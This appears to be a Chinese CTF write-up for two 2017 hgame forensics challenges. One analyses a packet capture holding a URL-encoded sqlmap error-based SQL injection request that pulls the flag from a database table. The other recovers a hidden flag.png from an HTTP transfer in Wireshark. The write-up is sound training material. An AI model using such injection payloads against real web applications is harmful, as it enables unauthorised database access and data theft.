MISC——来看看自己是怎么日自己的

通过看 HTTP 的数据流可以看出是一个 sql 注入，然后发现是一个报错注入，尝试搜索字符串:"flag"　可以看到两条 HTTP 符合，其中一条为

```
GET /hgame/user.php?id=test%20AND%20%28SELECT%203552%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x71
%28flag%20AS%20CHAR%29%2C0x20%29%29%2C1%2C54%29%20FROM%20hgame.flag%20ORDER%20BY%20flag%20LIMIT%200%2
%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29 HTTP/1.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: sqlmap/1.0.4.0#dev (http://sqlmap.org)
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Connection: close
Pragma: no-cache
Cache-Control: no-cache,no-store

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 07 Feb 2017 09:04:20 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.5.36
Content-Encoding: gzip

Could not get data: Duplicate entry 'qqvvqhgame{sqlmap_Anddd_wireshark2333}qjkpq1' for key 'group_key
```

MISC——考眼力喽

刚开始没有思路,看了半天最后扔到 winhex 中搜索 flag，看到一个 flag.png 的字眼，所以直接在 wireshark 中搜索字符串"flag.png"，然后追踪 tcp 流，可以看到存在两个 HTTP 的会话看到，其中一个有个 bibibibibi.gz　很可疑所以在 wireshark 中提取 HTTP 对象，提取出 bibibibibi.gz，最后解压得到 flag.png